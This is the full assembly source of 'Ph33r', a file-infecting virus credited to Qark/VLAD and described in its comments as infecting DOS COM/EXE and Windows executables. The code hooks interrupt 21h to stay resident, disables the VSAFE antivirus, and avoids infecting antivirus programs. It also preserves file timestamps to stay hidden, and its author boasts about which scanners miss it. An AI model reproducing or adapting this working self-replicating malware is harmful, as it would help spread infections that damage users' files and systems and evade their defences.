; ; ; Ph33r ; ; Qark/VLAD ; ; ; ; This virus is the first ever DOS/Windows virus, infecting COM/EXE/WinEXE ; files. ; The technology of the Windows infection is superior to 'Winsurfer' ; in that the virus goes directly resident, without having to mess around ; infecting the Windows 'shell'. The Windows entry of the virus allocates ; memory, points a selector to it, copies the virus into the space and ; sets interrupt 21h to the resident virus. By careful programming it was ; possible to make both the DOS and Win interrupt handlers share the same ; code. ; ; The virus does a few interesting things: ; Disables MSAV by turning it off (DOS) ; Gets the original Int 21h using DOSSEG:109Eh (DOS) ; Won't infect a number of filenames 'AV' 'AN' 'OT' (DOS & Win) ; ; A few annoying things: ; If the DOS handler traps Int 21h AH=3Dh Windows crashes on load. ; If the virus infects WIN386.EXE Windows crashes on load. ; These have both been fixed, by removal. ; ; For some unknown reason, the virus causes Debug to crash on exit. ; I haven't fixed this, because I figure anyone who uses Debug will spot ; the virus anyway. Besides which, I haven't got a clue why it's happening :) ; ; For this virus, AVP & TBAV pick up nothing whilst F-Prot detects it ; heuristically. ; org 0 com_entry: ;COM files begin execution here. call exec_start push es pop ds ;COM file exit. mov di,100h push di db 0b8h ;MOV AX,xxxx old2 dw 20cdh stosw db 0b8h ;MOV AX,xxxx old4 dw 0 stosw xor ax,ax xor bx,bx xor cx,cx xor dx,dx xor si,si xor di,di ret exe_entry: ;EXE files begin execution here. call exec_start push es pop ds ;Setup ss:sp mov ax,ds add ax,10h db 5 ;ADD AX,xxxx old_ss dw 0 mov ss,ax db 0bch ;MOV SP,xxxx old_sp dw 0 ;setup the return mov ax,ds add ax,10h db 5 ;ADD AX,xxxx exe_cs dw 0 push ax db 0b8h ;MOV AX,xxxx exe_ip dw 0 push ax xor ax,ax xor bx,bx xor cx,cx xor dx,dx xor si,si xor di,di retf Exec_Start: cld mov ax,51ffh ;Test resident. int 21h cmp ax,0ff51h je exit_virus mov ax,0fa02h ;Kill VSAFE. mov dx,5945h ;Every DOS6+ user has a copy of this. xor bl,bl int 16h mov ax,ds dec ax mov ds,ax ;MCB seg in DS. xor di,di cmp byte ptr [di],'Y' ;Z block ? ja allocate exit_virus: ret allocate: sub word ptr [di+3],(offset virus_size*2/16)+1 sub word ptr [di+12h],(offset virus_size*2/16)+1 mov ax,word ptr [di+12h] push es mov es,ax push cs pop ds mov cx,offset virus_size ;Get delta offset in SI call next next: pop si sub si,offset next ;Move virus to free memory. rep movsb mov ds,cx ;DS=CX=0 from REP MOVSB ;Set int21h mov si,21h*4 mov di,offset i21 push si movsw movsw pop si mov di,offset orig21 movsw movsw mov word ptr [si-4],offset int21handler mov word ptr [si-2],es push es mov ah,52h ;Thanx Neurobasher! int 21h mov ax,es pop es mov ds,ax mov si,109eh ;DS:109Eh = Original Int 21 I hope. lodsw cmp ax,9090h jne reset21 lodsb cmp al,0e8h jne reset21 mov word ptr es:orig21,10a0h mov word ptr es:orig21+2,ds reset21: pop es ret db '=Ph33r=' win21: ;Windows interrupt handling begins here. cmp ax,51feh jne non_w_res xchg al,ah iret non_w_res: cmp ax,4b00h ;Execute. je check_infect cmp ah,3dh ;File Open. je check_infect cmp ah,56h ;Rename. je check_infect cmp ah,43h ;Chmod. jne int_exit check_infect: pushf pusha push ds push es mov ax,0ah ;This function makes our CS writable. mov bx,cs int 31h mov es,ax call setup_infect pop es pop ds popa popf jmp int_exit int21handler: ;DOS interrupt handling begins here. cmp ax,51ffh jne non_res xchg al,ah iret db 'Qark/VLAD' non_res: ;For some reason, checking for AH=3dh crashes windows when its booting. cmp ax,4b00h ;Execute. je do_file cmp ah,6ch ;Open. je do_file cmp ah,56h ;Rename. je do_file cmp ah,43h ;Chmod. je do_file int_exit: db 0eah i21 dd 0 do_file: push es push dx cmp ah,6ch jne no_6c_fix mov dx,si no_6c_fix: push cs pop es call setup_infect pop dx pop es jmp int_exit setup_infect: ;on entry to this call, es=writable cs ;ds:dx=filename pushf push ax push bx push cx push dx push si push di push ds push es cld mov si,dx asciiz: lodsb cmp al,0 jne asciiz sub si,4 lodsw or ax,2020h cmp ax,'xe' ;EXE je do_inf cmp ax,'ld' ;DLL je do_inf cmp ax,'oc' ;COM jne not_name do_inf: cmp word ptr [si-5],'68' ;Dont infect WIN386.EXE (hangs) je not_name mov ax,word ptr [si-5] or ax,2020h ;Lowercase. cmp ax,'va' ;Don't touch files that end in AV je not_name ;eg TBAV cmp ax,'vd' ;DV.COM checks DV.EXE je not_name cmp ax,'na' ;Don't touch files that end in AN je not_name ;eg SCAN, TBSCAN cmp ax,'to' ;Don't touch files that end in OT je not_name ;eg F-PROT call infect not_name: pop es pop ds pop di pop si pop dx pop cx pop bx pop ax popf ret Infect: ;DS:DX=Filename, ES=our data segment cld mov ax,3d02h ;Open file to be infected. call int21h jnc file_opened ret file_opened: xchg bx,ax ;File handle into BX. push es pop ds mov ah,3fh ;Read from file. mov cx,512 mov dx,offset virus_size call int21h mov si,offset virus_size mov ax,word ptr [si] or ax,2020h cmp ax,'zm' ;Test for EXE header je check_exe jmp com_infect check_exe: cmp word ptr [si+12h],0afafh ;Infection marker. jne not_infected bad_mem: jmp com_end not_infected: cmp word ptr [si+18h],40h ;Windows executable. jb exe_infect jmp windows_infect exe_infect: cmp word ptr [si+0ch],-1 ;Maxmem = All jne bad_mem call lseek_end ;Get file length in DX:AX or dx,dx jnz ok_exe_size cmp ax,1000 jb bad_mem ok_exe_size: mov cx,512 div cx inc ax cmp [si+4],ax ;Check for overlays. ja bad_mem mov ax,word ptr [si+0eh] ;Save the original SS:SP mov word ptr old_ss,ax mov ax,word ptr [si+10h] mov word ptr old_sp,ax mov ax,word ptr [si+14h] ;Save the original CS:IP mov word ptr exe_ip,ax mov ax,word ptr [si+16h] mov word ptr exe_cs,ax call lseek_end mov cx,16 div cx sub ax,word ptr [si+8] add dx,offset exe_entry mov word ptr [si+14h],dx ;New IP mov word ptr [si+16h],ax ;New CS dec ax mov word ptr [si+0eh],ax add dx,1500 and dx,0fffeh mov word ptr [si+10h],dx call save_time mov cx,offset virus_size mov ah,40h xor dx,dx call int21h call lseek_end mov cx,512 div cx or dx,dx jz no_page_fix inc ax no_page_fix: mov word ptr [si+4],ax mov word ptr [si+2],dx call lseek_start mov word ptr [si+12h],0afafh ;Set infection marker. mov ah,40h mov dx,si mov cx,1ch call int21h call restore_time jmp com_end com_infect: cmp byte ptr [si+3],0afh ;Com infection marker. je com_end ;Save first four com file bytes. mov di,offset old2 movsw mov di,offset old4 movsw mov ax,4202h ;Lseek to file end. xor cx,cx cwd call int21h or dx,dx ;Check if > 64k jnz com_end cmp ax,60000 ;Check if > 60000 ja com_end cmp ax,1024 jb com_end sub ax,3 mov word ptr com_jmp+1,ax call save_time mov ah,40h ;Write virus body to file. mov cx,offset virus_size xor dx,dx call int21h jc com_end mov ax,4200h ;Lseek to file start. xor cx,cx cwd call int21h mov ah,40h ;Write jump to start of file. mov cx,4 mov dx,offset com_jmp call int21h com_time_end: call restore_time com_end: mov ah,3eh ;Close file. call int21h ret windows_infect: ;Move the Newexe pointer forward. push word ptr [si+3ch] pop word ptr newexe_off sub word ptr [si+3ch],8 cmp word ptr [si+3eh],0 ;Dont want any NE headers at off >64k jne com_end mov word ptr [si+12h],0afafh ;Set infection marker. ;Lseek back to start of the file. mov ax,4200h xor cx,cx cwd call int21h call save_time ;Write header back. mov ah,40h mov cx,512 mov dx,offset virus_size call int21h jc com_end ;Lseek to new exe header mov ax,4200h mov dx,word ptr newexe_off xor cx,cx call int21h ;Read in new exe header mov ah,3fh mov cx,512 mov dx,offset virus_size call int21h ;Adjust header pointers mov ax,word ptr [si+22h] ;AX=Segment table offset. cmp word ptr [si+4],ax jb ok_et add word ptr [si+4],8 ok_et: cmp word ptr [si+24h],ax jb ok_rt add word ptr [si+24h],8 ok_rt: cmp word ptr [si+26h],ax jb ok_rnt add word ptr [si+26h],8 ok_rnt: cmp word ptr [si+28h],ax jb ok_mrt add word ptr [si+28h],8 ok_mrt: cmp word ptr [si+2ah],ax jb ok_int add word ptr [si+2ah],8 ok_int: mov ax,word ptr [si+1ch] inc word ptr [si+1ch] ;Increase segment count. xor dx,dx mov cx,8 mul cx add ax,word ptr [si+22h] ;AX=Offset of segment table end. adc dx,0 mov cx,512 ;512 byte portions are used ; for the reads later on. div cx mov word ptr ne_size,ax mov word ptr last_ne,dx ;Put the original CS:IP into our relocation table. push word ptr [si+14h] pop word ptr old_ip push word ptr [si+16h] pop word ptr old_cs ;Save the alignment shift count because we need that for calculating ;the offset of our segment when writing the segment entry. push word ptr [si+32h] pop word ptr al_shift ;Point CS:IP to the virus. mov word ptr [si+14h],offset win_entry ;The new IP mov ax,word ptr [si+1ch] mov word ptr [si+16h],ax ;The new CS ;Initialise the lseek variable push word ptr newexe_off pop word ptr lseek ;The below code gets the NE header and keeps moving it forward by ;eight bytes in 512 byte chunks. move_header_forward: mov ax,word ptr ne_size or ax,ax jz last_page dec word ptr ne_size mov ax,4200h ;Lseek to our current position. xor cx,cx mov dx,word ptr lseek sub dx,8 call int21h mov ah,40h ;Write the header section out. mov cx,512 mov dx,si call int21h add word ptr lseek,512 mov ax,4200h ;Lseek to the next chunk. xor cx,cx mov dx,word ptr lseek call int21h mov ah,3fh ;Read it. mov dx,offset virus_size mov cx,512 call int21h jmp move_header_forward last_page: mov ax,4202h ;Lseek to end of file. xor cx,cx cwd call int21h ;File length into DX:AX ;DX:AX=File offset of our segment ;Below section shifts the segment offset right by the alignment ;shift value. mov cl,byte ptr al_shift push bx mov bx,1 shl bx,cl mov cx,bx pop bx div cx mov word ptr lseek_add,0 or dx,dx jz no_extra sub cx,dx mov word ptr lseek_add,cx inc ax no_extra: mov di,si add di,word ptr last_ne ;Adding the new segment table entry mov word ptr [di],ax ;Segment offset mov word ptr [di+2],offset virus_size mov word ptr [di+4],180h ;Segment attribute ; 180h = NonMovable + Relocations mov word ptr [di+6],offset virus_size+512 mov ax,4200h ;Lseek to next position. xor cx,cx mov dx,word ptr lseek sub dx,8 call int21h mov ah,40h ;Write rest of NE header + new seg entry. mov cx,word ptr last_ne add cx,8 ;Added segment entry means eight more. mov dx,offset virus_size call int21h ;Reset the relocatable pointer. push word ptr winip push word ptr wincs mov word ptr winip,0 mov word ptr wincs,0ffffh mov ax,4202h ;Lseek to end of file. xor cx,cx mov dx,word ptr lseek_add call int21h mov ah,40h ;Write main virus body. mov cx,offset virus_size xor dx,dx call int21h pop word ptr wincs pop word ptr winip mov ah,40h ;Write the relocation item. mov cx,offset reloc_end - offset relocblk mov dx,offset relocblk call int21h jmp com_time_end int21h: ;Simulated int 21 call. pushf call dword ptr cs:orig21 ret orig21 dd 0 win_entry: ;WinEXE files begin execution here. pusha push ds push es mov ax,51feh ;Residency test. int 21h cmp ax,0ff51h je no_wintsr mov ax,000ah ;Make CS writable. mov bx,cs int 31h ;Use DPMI. mov ds,ax mov ax,0204h ;Get real mode interrupt vector. mov bl,21h int 31h mov word ptr i21,dx ;Save int21 mov word ptr i21+2,cx mov word ptr orig21,dx mov word ptr orig21+2,cx mov ax,501h xor bx,bx ;Allocate Linear region mov cx,offset v_mem_size int 31h push bx push cx xor ax,ax mov cx,1 ;Create a Selector int 31h mov bx,ax mov ax,7 pop dx ;Point selector to linear region. pop cx int 31h mov ax,8 xor cx,cx ;Set selector limit mov dx,offset v_mem_size int 31h mov es,bx mov cx,offset v_mem_size xor si,si ;Copy virus to the linear region xor di,di cld rep movsb mov bx,es mov ax,9 ;Set access rights to 'Code' mov cx,0ffh int 31h mov cx,es mov dx,offset win21 mov ax,205h mov bl,21h int 31h ;Set real mode interrupt vector. mov ax,4 push es pop bx ;Lock the selector int 31h no_wintsr: pop es pop ds popa db 0eah ;Return to original file. winip dw 0 wincs dw 0ffffh ;----------------------- ;Infection Procedures ;----------------------- Save_Time: push ax push cx push dx mov ax,5700h call int21h mov word ptr time,cx mov word ptr date,dx pop dx pop cx pop ax ret Restore_Time: push ax push cx push dx db 0bah ;MOV DX,xxxx date dw 0 db 0b9h ;MOV CX,xxxx time dw 0 mov ax,5701h call int21h pop dx pop cx pop ax ret Lseek_Start: mov al,0 jmp short lseek2 Lseek_End: mov al,2 lseek2: mov ah,42h xor cx,cx cwd call int21h ret ;----------------------- ;Infection Data ;----------------------- ;Com infection data. com_jmp db 0e9h,0,0,0afh ;----------------------- ;Windows infection data. newexe_off dw 0 al_shift dw 0 ne_size dw 0 last_ne dw 0 lseek dw 0 lseek_add dw 0 Relocblk: dw 1 ;Number of relocation items db 3 ;32bit pointer relocation db 4 ;Additive relocation dw offset winip old_cs dw 0 ;The stored original CS & IP of host. old_ip dw 0 Reloc_end: ;----------------------- virus_size: db 512 dup (0) ;Storage buffer. v_mem_size: